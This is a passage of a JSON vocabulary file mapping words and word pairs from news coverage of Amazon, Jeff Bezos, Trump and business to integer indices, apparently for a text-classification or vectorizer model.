rates\": 26876,\n  \"modest fall\": 26877,\n  \"senator sanders\": 26878,\n  \"paving roads\": 26879,\n  \"reuters business\": 26880,\n  \"reviews late\": 26881,\n  \"569 852\": 26882,\n  \"device guessed\": 26883,\n  \"content riveting\": 26884,\n  \"repurchases itep\": 26885,\n  \"employers including\": 26886,\n  \"city outer\": 26887,\n  \"consumers based\": 26888,\n  \"exlarge 169\": 26889,\n  \"radar company\": 26890,\n  \"descended\": 26891,\n  \"wasn going\": 26892,\n  \"lake china\": 26893,\n  \"longer speaks\": 26894,\n  \"impersonation\": 26895,\n  \"possibly violated\": 26896,\n  \"trainwreck\": 26897,\n  \"opinions diverge\": 26898,\n  \"member connolly\": 26899,\n  \"seen subsequently\": 26900,\n  \"stems\": 26901,\n  \"practically unmatched\": 26902,\n  \"villain style\": 26903,\n  \"new girl\": 26904,\n  \"new advertising\": 26905,\n  \"lady accepted\": 26906,\n  \"catchingly lovely\": 26907,\n  \"investing market\": 26908,\n  \"trump belief\": 26909,\n  \"major trading\": 26910,\n  \"challenging\": 26911,\n  \"instincts align\": 26912,\n  \"environmental advocates\": 26913,\n  \"girlsworld\": 26914,\n  \"large intrusive\": 26915,\n  \"work yes\": 26916,\n  \"gc_custom_credit\": 26917,\n  \"services file\": 26918,\n  \"hopeful carol\": 26919,\n  \"story investigators\": 26920,\n  \"magazine robin\": 26921,\n  \"afterward\": 26922,\n  \"omnibus\": 26923,\n  \"scandal led\": 26924,\n  \"billing practices\": 26925,\n  \"slope\": 26926,\n  \"pay\": 26927,\n  \"behold new\": 26928,\n  \"amazon question\": 26929,\n  \"damaging amazon\": 26930,\n  \"soybean farms\": 26931,\n  \"p500 investors\": 26932,\n  \"aggressively pushing\": 26933,\n  \"3nextprevplay slideshowbillionaire\": 26934,\n  \"select newsletter\": 26935,\n  \"viewer asked\": 26936,\n  \"prompting frequent\": 26937,\n  \"google staff\": 26938,\n  \"hiring\": 26939,\n  \"refreshing\": 26940,\n  \"plan david\": 26941,\n  \"break bartiromo\": 26942,\n  \"naloxone training\": 26943,\n  \"pelosi democrats\": 26944,\n  \"rockefeller\": 26945,\n  \"marches\": 26946,\n  \"mattress\": 26947,\n  \"technologists\": 26948,\n  \"npr scientists\": 26949,\n  \"chapo\": 26950,\n  \"footsteps\": 26951,\n  \"shared previously\": 26952,\n  \"thriller keeping\": 26953,\n  \"strategizing\": 26954,\n  \"different phony\": 26955,\n  \"teller joined\": 26956,\n  \"canada finalists\": 26957,\n  \"senators warn\": 26958,\n  \"bezos vision\": 26959,\n  \"proliferate\": 26960,\n  \"modern monetary\": 26961,\n  \"principal global\": 26962,\n  \"qauz4tl6ux david\": 26963,\n  \"bezos ian\": 26964,\n  \"attempted reorg\": 26965,\n  \"tumulty washington\": 26966,\n  \"carter freshman\": 26967,\n  \"endured weeks\": 26968,\n  \"hamilton mour\\u00e3o\": 26969,\n  \"efficiency gains\": 26970,\n  \"granger\": 26971,\n  \"developed taxi\": 26972,\n  \"giant retailers\": 26973,\n  \"sanchez remains\": 26974,\n  \"obvious counterfeit\": 26975,\n  \"world don\": 26976,\n  \"ergonomic experience\": 26977,\n  \"829\": 26978,\n  \"worldview\": 26979,\n  \"chief development\": 26980,\n  \"vancouver given\": 26981,\n  \"directly connected\": 26982,\n  \"analysts argue\": 26983,\n  \"degrees celsius\": 26984,\n  \"ad google\": 26985,\n  \"cases google\": 26986,\n  \"dis hold\": 26987,\n  \"202 518\": 26988,\n  \"imagery raises\": 26989,\n  \"google bernie\": 26990,\n  \"folks talking\": 26991,\n  \"killing 250\": 26992,\n  \"standards showing\": 26993,\n  \"undertaking\": 26994,\n  \"new loans\": 26995,\n  \"specifically timed\": 26996,\n  \"notable riders\": 26997,\n  \"rejected cities\": 26998,\n  \"blasted trump\": 26999,\n  \"bgsa\": 27000,\n  \"revenue believe\": 27001,\n  \"special hannity\": 27002,\n  \"base new\": 27003,\n  \"proper taxation\": 27004,\n  \"says paul\": 27005,\n  \"additional sales\": 27006,\n  \"gan\": 27007,\n  \"terms just\": 27008,\n  \"ching voa\": 27009,\n  \"site vox\": 27010,\n  \"powerful reporting\": 27011,\n  \"company customers\": 27012,\n  \"toppled hussein\": 27013,\n  \"benefit usps\": 27014,\n  \"catalyze future\": 27015,\n  \"type element\": 27016,\n  \"hot mess\": 27017,\n  \"united federal\": 27018,\n  \"zignal labs\": 27019,\n  \"override\": 27020,\n  \"brazil forests\": 27021,\n  \"sweetheart shipping\": 27022,\n  \"facet\": 27023,\n  \"asian countries\": 27024,\n  \"senate martin\": 27025,\n  \"additional comment\": 27026,\n  \"home robot\": 27027,\n  \"self discovery\": 27028,\n  \"indians\": 27029,\n  \"special font\": 27030,\n  \"hq2 projects\": 27031,\n  \"robertmuller carterpage\": 27032,\n  \"additionally tried\": 27033,\n  \"state building\": 27034,\n  \"estimates trump\": 27035,\n  \"nuclear safety\": 27036,\n  \"trump supported\": 27037,\n  \"labour contracts\": 27038,\n  \"rene russo\": 27039,\n  \"land near\": 27040,\n  \"created methodologies\": 27041,\n  \"lachapelle\": 27042,\n  \"government acquisition\": 27043,\n  \"internet store\": 27044,\n  \"wapo report\": 27045,\n  \"summer amazon\": 27046,\n  \"rapidly developing\": 27047,\n  \"president argued\": 27048,\n  \"human\": 27049,\n  \"career high\": 27050,\n  \"benefit bloomberg\": 27051,\n  \"phenomenal\": 27052,\n  \"won deliver\": 27053,\n  \"oracle lawsuit\": 27054,\n  \"anthology\": 27055,\n  \"time directly\": 27056,\n  \"permitting\": 27057,\n  \"wojtaszek maziarz\": 27058,\n  \"kenneth wright\": 27059,\n  \"existence make\": 27060,\n  \"trump vows\": 27061,\n  \"amazon politically\": 27062,\n  \"getting harder\": 27063,\n  \"putin powerful\": 27064,\n  \"utterly\": 27065,\n  \"barron\": 27066,\n  \"courting curious\": 27067,\n  \"amc ink\": 27068,\n  \"trump presumably\": 27069,\n  \"propublica database\": 27070,\n  \"maneuvers floated\": 27071,\n  \"likewise\": 27072,\n  \"abbie\": 27073,\n  \"newspaper employees\": 27074,\n  \"info newstage\": 27075,\n  \"watch trumps\": 27076,\n  \"pours\": 27077,\n  \"post shared\": 27078,\n  \"200 mile\": 27079,\n  \"lawsuits\": 27080,\n  \"massive net\": 27081,\n  \"prepaid payments\": 27082,\n  \"gofirst\": 27083,\n  \"hotel given\": 27084,\n  \"earnings amzn\": 27085,\n  \"stelter explored\": 27086,\n  \"force new\": 27087,\n  \"including scripted\": 27088,\n  \"f8 z4\": 27089,\n  \"business hurd\": 27090,\n  \"resistance flag\": 27091,\n  \"british lawmakers\": 27092,\n  \"100 index\": 27093,\n  \"issue amazon\": 27094,\n  \"wrote\": 27095,\n  \"valley stores\": 27096,\n  \"credo action\": 27097,\n  \"snow tow\": 27098,\n  \"andrew wheeler\": 27099,\n  \"cultural soulmates\": 27100,\n  \"latest retailer\": 27101,\n  \"account manager\": 27102,\n  \"sic newly\": 27103,\n  \"naked\": 27104,\n  \"modern version\": 27105,\n  \"press data\": 27106,\n  \"sears opens\": 27107,\n  \"calls attention\": 27108,\n  \"704 216\": 27109,\n  \"killing crew\": 27110,\n  \"new policies\": 27111,\n  \"unpredictable president\": 27112,\n  \"colman\": 27113,\n  \"oops happened\": 27114,\n  \"produce trademark\": 27115,\n  \"pokes\": 27116,\n  \"endicia\": 27117,\n  \"internal utm_term\": 27118,\n  \"famously given\": 27119,\n  \"censorious president\": 27120,\n  \"names attached\": 27121,\n  \"expensive heavy\": 27122,\n  \"ambago butuan\": 27123,\n  \"isn ideal\": 27124,\n  \"county judge\": 27125,\n  \"elin nordegren\": 27126,\n  \"involved abramowitz\": 27127,\n  \"offer visions\": 27128,\n  \"availability location\": 27129,\n  \"beautiful bike\": 27130,\n  \"average expected\": 27131,\n  \"rightly points\": 27132,\n  \"caneiro\": 27133,\n  \"leveraging technology\": 27134,\n  \"wwii vet\": 27135,\n  \"whoa\": 27136,\n  \"trump expense\": 27137,\n  \"1542\": 27138,\n  \"products geekwire\": 27139,\n  \"howard describing\": 27140,\n  \"commercial packages\": 27141,\n  \"widely accused\": 27142,\n  \"taxvox\": 27143,\n  \"necessarily\": 27144,\n  \"earnings cantillon\": 27145,\n  \"trade differences\": 27146,\n  \"self identify\": 27147,\n  \"provided chinese\": 27148,\n  \"patchett president\": 27149,\n  \"commercial powerhouse\": 27150,\n  \"destroying social\": 27151,\n  \"greater effort\": 27152,\n  \"unions leaked\": 27153,\n  \"whatyou\": 27154,\n  \"chose long\": 27155,\n  \"carell\": 27156,\n  \"amazon andes\": 27157,\n  \"bear indicator\": 27158,\n  \"uncertainty earlier\": 27159,\n  \"yes accusations\": 27160,\n  \"moon landing\": 27161,\n  \"rebekah denn\": 27162,\n  \"money reimbursement\": 27163,\n  \"booksellers\": 27164,\n  \"planslawmakers\": 27165,\n  \"afghan women\": 27166,\n  \"mess inhumans\": 27167,\n  \"ago amazon\": 27168,\n  \"busiest time\": 27169,\n  \"square kilometers\": 27170,\n  \"city military\": 27171,\n  \"exactly member\": 27172,\n  \"final month\": 27173,\n  \"profitable investor\": 27174,\n  \"mls\": 27175,\n  \"lilly keely\": 27176,\n  \"maps untouched\": 27177,\n  \"podcasts google\": 27178,\n  \"webmasters\": 27179,\n  \"5t2ev8dpbe myles\": 27180,\n  \"services did\": 27181,\n  \"dreamed possible\": 27182,\n  \"told newsday\": 27183,\n  \"mit media\": 27184,\n  \"587 vacancies\": 27185,\n  \"notable names\": 27186,\n  \"spanish language\": 27187,\n  \"stage tracks\": 27188,\n  \"bagua mirror\": 27189,\n  \"tonight correspondent\": 27190,\n  \"dispensing\": 27191,\n  \"presentation\": 27192,\n  \"hello sunshine\": 27193,\n  \"held 185\": 27194,\n  \"negotiated warrants\": 27195,\n  \"successes woodward\": 27196,\n  \"report stocks\": 27197,\n  \"code faces\": 27198,\n  \"sign border\": 27199,\n  \"say clapper\": 27200,\n  \"procedures\": 27201,\n  \"taxes ripping\": 27202,\n  \"using nfc\": 27203,\n  \"flight barely\": 27204,\n  \"copies\": 27205,\n  \"children librarian\": 27206,\n  \"amazon offer\": 27207,\n  \"requires disobeying\": 27208,\n  \"housing programs\": 27209,\n  \"unapologetically\": 27210,\n  \"sisters story\": 27211,\n  \"francisco museum\": 27212,\n  \"share thomson\": 27213,\n  \"euro oeit\": 27214,\n  \"quizzes\": 27215,\n  \"administration investigating\": 27216,\n  \"nearly double\": 27217,\n  \"khanna calif\": 27218,\n  \"wisconsin girl\": 27219,\n  \"casual sex\": 27220,\n  \"pack\": 27221,\n  \"added security\": 27222,\n  \"far flung\": 27223,\n  \"platform hosts\": 27224,\n  \"highlighting amazon\": 27225,\n  \"source sofia\": 27226,\n  \"agreement null\": 27227,\n  \"pay gap\": 27228,\n  \"special factors\": 27229,\n  \"spokeswoman confirmed\": 27230,\n  \"evolving\": 27231,\n  \"bidding opened\": 27232,\n  \"lamb brody\": 27233,\n  \"euphoric\": 27234,\n  \"curry\": 27235,\n  \"honeyman\": 27236,\n  \"strong wage\": 27237,\n  \"washington posts\": 27238,\n  \"sale months\": 27239,\n  \"malfeasance\": 27240,\n  \"make globalised\": 27241,\n  \"senior canadian\": 27242,\n  \"daimler ag\": 27243,\n  \"matters leaving\": 27244,\n  \"disarmed\": 27245,\n  \"munduruku people\": 27246,\n  \"whatcomes\": 27247,\n  \"devotees\": 27248,\n  \"civilian shoulder\": 27249,\n  \"largest employers\": 27250,\n  \"mayor jim\": 27251,\n  \"pic ubhi\": 27252,\n  \"voters taken\": 27253,\n  \"bigger orbital\": 27254,\n  \"helipads\": 27255,\n  \"cairn\": 27256,\n  \"honcho\": 27257,\n  \"loan constitutes\": 27258,\n  \"immigration committee\": 27259,\n  \"collectively assign\": 27260,\n  \"oscars nbc\": 27261,\n  \"just overwhelmingly\": 27262,\n  \"moved rapidly\": 27263,\n  \"absolutely perfect\": 27264,\n  \"pence\": 27265,\n  \"voice\": 27266,\n  \"finally amazon\": 27267,\n  \"jones knowingly\": 27268,\n  \"ana navarro\": 27269,\n  \"years producers\": 27270,\n  \"decapitators\": 27271,\n  \"var j0\": 27272,\n  \"merchandising\": 27273,\n  \"reemerging gaining\": 27274,\n  \"receive stronger\": 27275,\n  \"domestic service\": 27276,\n  \"demands involving\": 27277,\n  \"hyperaggressive\": 27278,\n  \"massive dividends\": 27279,\n  \"tickets\": 27280,\n  \"ends meet\": 27281,\n  \"igniting investor\": 27282,\n  \"setting foot\": 27283,\n  \"work needs\": 27284,\n  \"cash hurts\": 27285,\n  \"rigby\": 27286,\n  \"mailer lists\": 27287,\n  \"briefing nytimes\": 27288,\n  \"shutterstock\": 27289,\n  \"oregano\": 27290,\n  \"gloria borger\": 27291,\n  \"wszpajivh6 donald\": 27292,\n  \"sightings\": 27293,\n  \"150bn fortune\": 27294,\n  \"cafe\": 27295,\n  \"pulpit including\": 27296,\n  \"book reddit\": 27297,\n  \"sec legacy\": 27298,\n  \"double decker\": 27299,\n  \"technology advances\": 27300,\n  \"usually quick\": 27301,\n  \"comparatively stingy\": 27302,\n  \"tump\": 27303,\n  \"apple slid\": 27304,\n  \"weekly inspirational\": 27305,\n  \"supremacist merchandise\": 27306,\n  \"headline article\": 27307,\n  \"circumstances support\": 27308,\n  \"unfounded suspicion\": 27309,\n  \"unaccounted\": 27310,\n  \"email refers\": 27311,\n  \"amazon rose\": 27312,\n  \"trump biggest\": 27313,\n  \"america hottest\": 27314,\n  \"roost books\": 27315,\n  \"reset\": 27316,\n  \"comfort\": 27317,\n  \"bezos lovesick\": 27318,\n  \"mcmoran\": 27319,\n  \"voted 412\": 27320,\n  \"mypov\": 27321,\n  \"freeloaders\": 27322,\n  \"passes flex\": 27323,\n  \"watson banned\": 27324,\n  \"fb share\": 27325,\n  \"politicians win\": 27326,\n  \"leakers\": 27327,\n  \"customers profits\": 27328,\n  \"led party\": 27329,\n  \"private bidders\": 27330,\n  \"time drivers\": 27331,\n  \"trust criticisms\": 27332,\n  \"fubo\": 27333,\n  \"inadvertently turning\": 27334,\n  \"goods sold\": 27335,\n  \"advisers bezos\": 27336,\n  \"sic antitrust\": 27337,\n  \"future sales\": 27338,\n  \"typical attendance\": 27339,\n  \"combat counterfeits\": 27340,\n  \"justice ginsburg\": 27341,\n  \"ill\": 27342,\n  \"media tryingto\": 27343,\n  \"message telling\": 27344,\n  \"dissatisfied\": 27345,\n  \"girlfriend allegation\": 27346,\n  \"admiringly\": 27347,\n  \"unabashedly open\": 27348,\n  \"political opinions\": 27349,\n  \"practice mode\": 27350,\n  \"independent commission\": 27351,\n  \"pity jobs\": 27352,\n  \"haridasani gupta\": 27353,\n  \"weiler\": 27354,\n  \"arrest nipsey\": 27355,\n  \"wrist band\": 27356,\n  \"bear resemblance\": 27357,\n  \"tweet classified\": 27358,\n  \"fierce political\": 27359,\n  \"dowjones\": 27360,\n  \"work offering\": 27361,\n  \"archived\": 27362,\n  \"2013 study\": 27363,\n  \"kinda scary\": 27364,\n  \"air sundays\": 27365,\n  \"higher expectations\": 27366,\n  \"q3\": 27367,\n  \"level trade\": 27368,\n  \"credit credit\": 27369,\n  \"democrats moves\": 27370,\n  \"covers lot\": 27371,\n  \"administrator appointed\": 27372,\n  \"dina shibabi\": 27373,\n  \"week appears\": 27374,\n  \"hurd\": 27375,\n  \"eleanor fox\": 27376,\n  \"allow anti\": 27377,\n  \"bt extra\": 27378,\n  \"rates showing\": 27379,\n  \"helped reintegrate\": 27380,\n  \"2012 ftc\": 27381,\n  \"commission recommended\": 27382,\n  \"scrutinized\": 27383,\n  \"sr remarks\": 27384,\n  \"novelist david\": 27385,\n  \"liberal academics\": 27386,\n  \"09m shares\": 27387,\n  \"1980s antitrust\": 27388,\n  \"inline_script_tags\": 27389,\n  \"manhattan defined\": 27390,\n  \"mining pesticides\": 27391,\n  \"evaders\": 27392,\n  \"shotgun\": 27393,\n  \"valuation gap\": 27394,\n  \"campaign silence\": 27395,\n  \"function i4\": 27396,\n  \"revised\": 27397,\n  \"consequences\": 27398,\n  \"billion round\": 27399,\n  \"misleading\": 27400,\n  \"whor\": 27401,\n  \"employees suspected\": 27402,\n  \"theory known\": 27403,\n  \"gains bitcoin\": 27404,\n  \"masterful\": 27405,\n  \"force owners\": 27406,\n  \"loudly rebuking\": 27407,\n  \"calitrumpgirl\": 27408,\n  \"dxj\": 27409,\n  \"featured certain\": 27410,\n  \"intense surveillance\": 27411,\n  \"challenged letitia\": 27412,\n  \"business lending\": 27413,\n  \"main company\": 27414,\n  \"today network\": 27415,\n  \"infusions\": 27416,\n  \"putin hillary\": 27417,\n  \"circles trump\": 27418,\n  \"pho caused\": 27419,\n  \"katerina kittycat\": 27420,\n  \"trump encouraged\": 27421,\n  \"big discount\": 27422,\n  \"buy company\": 27423,\n  \"afar\": 27424,\n  \"traders outlook\": 27425,\n  \"publication ofthat\": 27426,\n  \"crop prices\": 27427,\n  \"journalistic elites\": 27428,\n  \"conflict jedi\": 27429,\n  \"obama saying\": 27430,\n  \"denuclearization matter\": 27431,\n  \"181004002630\": 27432,\n  \"budgets\": 27433,\n  \"aoc fought\": 27434,\n  \"observing presidents\": 27435,\n  \"804\": 27436,\n  \"pellico flagged\": 27437,\n  \"stocks jacob\": 27438,\n  \"mahaney\": 27439,\n  \"rapid pace\": 27440,\n  \"handsets\": 27441,\n  \"founder published\": 27442,\n  \"mayor thank\": 27443,\n  \"acquired isn\": 27444,\n  \"subscription showtime\": 27445,\n  \"cited opposition\": 27446,\n  \"sanchez blabbed\": 27447,\n  \"quote longtime\": 27448,\n  \"faced internal\": 27449,\n  \"interned\": 27450,\n  \"realm\": 27451,\n  \"netherlands france\": 27452,\n  \"photos apple\": 27453,\n  \"christmas eve\": 27454,\n  \"referendum\": 27455,\n  \"benchmarks doing\": 27456,\n  \"stopped doing\": 27457,\n  \"senator randolfo\": 27458,\n  \"middlesex great\": 27459,\n  \"great customer\": 27460,\n  \"justice center\": 27461,\n  \"shelving plans\": 27462,\n  \"2019 stephen\": 27463,\n  \"nonrecycled book\": 27464,\n  \"martin ceo\": 27465,\n  \"patronite maggie\": 27466,\n  \"shaker limited\": 27467,\n  \"questions personal\": 27468,\n  \"reportedly uses\": 27469,\n  \"multinationals\": 27470,\n  \"says fraud\": 27471,\n  \"55m\": 27472,\n  \"told buzzfeed\": 27473,\n  \"report story\": 27474,\n  \"consumers concerns\": 27475,\n  \"better benefits\": 27476,\n  \"carry implications\": 27477,\n  \"getvideodata\": 27478,\n  \"capabilities unlike\": 27479,\n  \"shares koshinski\": 27480,\n  \"vegas golden\": 27481,\n  \"marriage euro\": 27482,\n  \"calculation fulfillment\": 27483,\n  \"facility trump\": 27484,\n  \"widening scandal\": 27485,\n  \"theatres 2018\": 27486,\n  \"amazon company\": 27487,\n  \"daniel torday\": 27488,\n  \"crime did\": 27489,\n  \"democrats believe\": 27490,\n  \"meat policy\": 27491,\n  \"midpoint\": 27492,\n  \"chronicle feature\": 27493,\n  \"rate cut\": 27494,\n  \"bolsonaro delivers\": 27495,\n  \"addresses workplace\": 27496,\n  \"preferred\": 27497,\n  \"overnight finance\": 27498,\n  \"possibly orchestrated\": 27499,\n  \"choice twitter\": 27500,\n  \"city housing\": 27501,\n  \"emerzian\": 27502,\n  \"current net\": 27503,\n  \"dating watch\": 27504,\n  \"crisis group\": 27505,\n  \"source single\": 27506,\n  \"tower currently\": 27507,\n  \"viverito double\": 27508,\n  \"glossing\": 27509,\n  \"32gb\": 27510,\n  \"washington president\": 27511,\n  \"target trump\": 27512,\n  \"cloud contracts\": 27513,\n  \"simply don\": 27514,\n  \"newspaper requests\": 27515,\n  \"site gives\": 27516,\n  \"took swing\": 27517,\n  \"cushioned\": 27518,\n  \"researcher man\": 27519,\n  \"obama eclipsed\": 27520,\n  \"navinfo\": 27521,\n  \"healthy income\": 27522,\n  \"old carell\": 27523,\n  \"redfin redfin\": 27524,\n  \"city actually\": 27525,\n  \"mnuchin job\": 27526,\n  \"clinch\": 27527,\n  \"veryrisky\": 27528,\n  \"mackenzie introduced\": 27529,\n  \"artistic\": 27530,\n  \"says raped\": 27531,\n  \"capitalism politics\": 27532,\n  \"bank holiday\": 27533,\n  \"disadvantaged 2015\": 27534,\n  \"florida board\": 27535,\n  \"repeatedly takes\": 27536,\n  \"york assemblyman\": 27537,\n  \"face selfie\": 27538,\n  \"expense\": 27539,\n  \"communities resisting\": 27540,\n  \"mifflin\": 27541,\n  \"tremendous resources\": 27542,\n  \"western european\": 27543,\n  \"zing blog\": 27544,\n  \"independent parties\": 27545,\n  \"challenge president\": 27546,\n  \"misdemeanor punishable\": 27547,\n  \"dollar year\": 27548,\n  \"included diaper\": 27549,\n  \"minor hollywood\": 27550,\n  \"consider restoring\": 27551,\n  \"crazy just\": 27552,\n  \"fatima ali\": 27553,\n  \"mainstream government\": 27554,\n  \"storage\": 27555,\n  \"ipads\": 27556,\n  \"amazon won\": 27557,\n  \"guest appearances\": 27558,\n  \"corporatocracy public\": 27559,\n  \"john rogers\": 27560,\n  \"gift shop\": 27561,\n  \"strengthen customer\": 27562,\n  \"believes gumball\": 27563,\n  \"politics rising\": 27564,\n  \"helps push\": 27565,\n  \"fan posted\": 27566,\n  \"demand returning\": 27567,\n  \"upcoming midterm\": 27568,\n  \"reefs\": 27569,\n  \"week later\": 27570,\n  \"new autonomous\": 27571,\n  \"growing importance\": 27572,\n  \"ulteras\": 27573,\n  \"home life\": 27574,\n  \"work fine\": 27575,\n  \"war issues\": 27576,\n  \"effective response\": 27577,\n  \"industry estimates\": 27578,\n  \"amazon toronto\": 27579,\n  \"maker iii\": 27580,\n  \"spelled\": 27581,\n  \"238876 abramson\": 27582,\n  \"facebook warned\": 27583,\n  \"create digital\": 27584,\n  \"gary johnson\": 27585,\n  \"titled accenture\": 27586,\n  \"long critical\": 27587,\n  \"initial story\": 27588,\n  \"tickets 44842732821\": 27589,\n  \"remembered today\": 27590,\n  \"new echos\": 27591,\n  \"appetizers\": 27592,\n  \"story jeff\": 27593,\n  \"seeing strong\": 27594,\n  \"yelp conference\": 27595,\n  \"carlos\": 27596,\n  \"develop deeper\": 27597,\n  \"outsized number\": 27598,\n  \"degree write\": 27599,\n  \"martha manual\": 27600,\n  \"mother family\": 27601,\n  \"trip appears\": 27602,\n  \"father estate\": 27603,\n  \"rouhani saying\": 27604,\n  \"powerful talent\": 27605,\n  \"bi\": 27606,\n  \"manhunt wildfires\": 27607,\n  \"times sadly\": 27608,\n  \"emptyhanded\": 27609,\n  \"isn really\": 27610,\n  \"breaking defense\": 27611,\n  \"pay unreasonable\": 27612,\n  \"concerns gmbunion4amazon\": 27613,\n  \"c4e\": 27614,\n  \"insttype stock\": 27615,\n  \"informed electorate\": 27616,\n  \"launch business\": 27617,\n  \"east ohio\": 27618,\n  \"bhutanese victims\": 27619,\n  \"apparently shrugged\": 27620,\n  \"girls killed\": 27621,\n  \"ago ami\": 27622,\n  \"filter search\": 27623,\n  \"journal interview\": 27624,\n  \"kim announced\": 27625,\n  \"angeles evacuation\": 27626,\n  \"article rbc\": 27627,\n  \"law\": 27628,\n  \"samad afp\": 27629,\n  \"derisively nicknamed\": 27630,\n  \"phones places\": 27631,\n  \"alleged fling\": 27632,\n  \"accountable\": 27633,\n  \"ganges\": 27634,\n  \"general counsel\": 27635,\n  \"says guess\": 27636,\n  \"agriculture amazon\": 27637,\n  \"consultant richard\": 27638,\n  \"apple products\": 27639,\n  \"falls apart\": 27640,\n  \"internet business\": 27641,\n  \"responsible public\": 27642,\n  \"merchandise amazon\": 27643,\n  \"longer offer\": 27644,\n  \"areacouncil\": 27645,\n  \"lapses emergency\": 27646,\n  \"validar\": 27647,\n  \"funny heartwarming\": 27648,\n  \"sachs alum\": 27649,\n  \"establishment decrying\": 27650,\n  \"development senate\": 27651,\n  \"proxy war\": 27652,\n  \"different big\": 27653,\n  \"assorted produce\": 27654,\n  \"women alarming\": 27655,\n  \"york campus\": 27656,\n  \"rates continue\": 27657,\n  \"theamerican people\": 27658,\n  \"preview\": 27659,\n  \"coliseum ian\": 27660,\n  \"espinal\": 27661,\n  \"restroom located\": 27662,\n  \"monumentality\": 27663,\n  \"related marks\": 27664,\n  \"amazon news\": 27665,\n  \"trump website\": 27666,\n  \"awaiting report\": 27667,\n  \"rings\": 27668,\n  \"device improperly\": 27669,\n  \"expert scott\": 27670,\n  \"lead law\": 27671,\n  \"killing way\": 27672,\n  \"deductible donation\": 27673,\n  \"net devin\": 27674,\n  \"pictured inside\": 27675,\n  \"planned governmentwide\": 27676,\n  \"phoenix las\": 27677,\n  \"schuster pointed\": 27678,\n  \"secretly fathered\": 27679,\n  \"suit suggested\": 27680,\n  \"charge customers\": 27681,\n  \"rent appreciation\": 27682,\n  \"franck\": 27683,\n  \"accessibility links\": 27684,\n  \"encourage businesses\": 27685,\n  \"consequences warns\": 27686,\n  \"sees near\": 27687,\n  \"cnbc squawk\": 27688,\n  \"kennels movie\": 27689,\n  \"play important\": 27690,\n  \"probe does\": 27691,\n  \"philanthropic gift\": 27692,\n  \"beijing soon\": 27693,\n  \"draconian\": 27694,\n  \"bolted ahead\": 27695,\n  \"favorable public\": 27696,\n  \"company splits\": 27697,\n  \"inexpensive\": 27698,\n  \"story oracle\": 27699,\n  \"pessimism\": 27700,\n  \"won plaudits\": 27701,\n  \"tentative deal\": 27702,\n  \"helsinki meeting\": 27703,\n  \"time ray\": 27704,\n  \"technology officer\": 27705,\n  \"arthurschwartz\": 27706,\n  \"hulu beau\": 27707,\n  \"laura feuillebois\": 27708,\n  \"titled cardinal\": 27709,\n  \"movie global\": 27710,\n  \"happy ending\": 27711,\n  \"desperate sarah\": 27712,\n  \"shirking\": 27713,\n  \"profit operating\": 27714,\n  \"2017 newsweek\": 27715,\n  \"forth argument\": 27716,\n  \"active participant\": 27717,\n  \"government environment\": 27718,\n  \"unaffiliated\": 27719,\n  \"new turnaround\": 27720,\n  \"mancini entertainment\": 27721,\n  \"economics economy\": 27722,\n  \"opinion follow\": 27723,\n  \"devastating floods\": 27724,\n  \"deregulatory changes\": 27725,\n  \"person eating\": 27726,\n  \"major appliances\": 27727,\n  \"complicity\": 27728,\n  \"nazi pepe\": 27729,\n  \"chattier\": 27730,\n  \"hurting brick\": 27731,\n  \"order directed\": 27732,\n  \"dhs provided\": 27733,\n  \"scoreboard\": 27734,\n  \"solutions maybe\": 27735,\n  \"downsizinggovernment\": 27736,\n  \"john deere\": 27737,\n  \"laetrile\": 27738,\n  \"decades profitable\": 27739,\n  \"boost productivity\": 27740,\n  \"rival interests\": 27741,\n  \"supply vans\": 27742,\n  \"earlier speculated\": 27743,\n  \"giant reported\": 27744,\n  \"shopping authorities\": 27745,\n  \"commission plan\": 27746,\n  \"nadia szold\": 27747,\n  \"lashes\": 27748,\n  \"world dumbest\": 27749,\n  \"assets amassed\": 27750,\n  \"netting amazon\": 27751,\n  \"rejects subpoena\": 27752,\n  \"overrun humanity\": 27753,\n  \"stayed\": 27754,\n  \"leads managers\": 27755,\n  \"city colleges\": 27756,\n  \"pre war\": 27757,\n  \"dire threats\": 27758,\n  \"sensitive topic\": 27759,\n  \"boesken\": 27760,\n  \"advantage think\": 27761,\n  \"loans california\": 27762,\n  \"don run\": 27763,\n  \"woodard talk\": 27764,\n  \"business complexities\": 27765,\n  \"major cities\": 27766,\n  \"disney working\": 27767,\n  \"faison\": 27768,\n  \"doorsteps\": 27769,\n  \"sporting teams\": 27770,\n  \"nonetheless earlier\": 27771,\n  \"systemic\": 27772,\n  \"mixed messages\": 27773,\n  \"gou\": 27774,\n  \"permissions\": 27775,\n  \"livetradingnews\": 27776,\n  \"nude pics\": 27777,\n  \"taxpayers expense\": 27778,\n  \"strong street\": 27779,\n  \"diplomatic nonviolent\": 27780,\n  \"politician hoping\": 27781,\n  \"taxes called\": 27782,\n  \"gained underscore\": 27783,\n  \"making stuff\": 27784,\n  \"omens narrates\": 27785,\n  \"bazillion\": 27786,\n  \"spirit early\": 27787,\n  \"hasn explained\": 27788,\n  \"heitkamp\": 27789,\n  \"trump regarding\": 27790,\n  \"everybodys robbing\": 27791,\n  \"concerned trump\": 27792,\n  \"161 times\": 27793,\n  \"entrepreneur traveler\": 27794,\n  \"permanency\": 27795,\n  \"nok\": 27796,\n  \"midwesterners\": 27797,\n  \"signaled\": 27798,\n  \"misleading claims\": 27799,\n  \"lazy trump\": 27800,\n  \"luxury brands\": 27801,\n  \"caption rob\": 27802,\n  \"dignitaries\": 27803,\n  \"including massachusetts\": 27804,\n  \"california church\": 27805,\n  \"bezos decided\": 27806,\n  \"contraception\": 27807,\n  \"postpones meeting\": 27808,\n  \"divorce happened\": 27809,\n  \"ballet school\": 27810,\n  \"chairman jack\": 27811,\n  \"flatiron books\": 27812,\n  \"chandon\": 27813,\n  \"better sense\": 27814,\n  \"mandatory vaccines\": 27815,\n  \"tantalising\": 27816,\n  \"office assault\": 27817,\n  \"release data\": 27818,\n  \"leafy campus\": 27819,\n  \"cnbc explained\": 27820,\n  \"political landscape\": 27821,\n  \"fbi handle\": 27822,\n  \"brutal conditions\": 27823,\n  \"preexisting contracts\": 27824,\n  \"sacramento\": 27825,\n  \"5067014667001\": 27826,\n  \"corporate boardrooms\": 27827,\n  \"tech gadgets\": 27828,\n  \"glamorous wife\": 27829,\n  \"astonishing horrifying\": 27830,\n  \"richard allan\": 27831,\n  \"despite trump\": 27832,\n  \"vucci\": 27833,\n  \"making returns\": 27834,\n  \"lamar\": 27835,\n  \"human babies\": 27836,\n  \"explicit nude\": 27837,\n  \"vest pillpack\": 27838,\n  \"owen debut\": 27839,\n  \"delong scenes\": 27840,\n  \"really set\": 27841,\n  \"espousing liberal\": 27842,\n  \"boycottwalmart wmt\": 27843,\n  \"corporations george\": 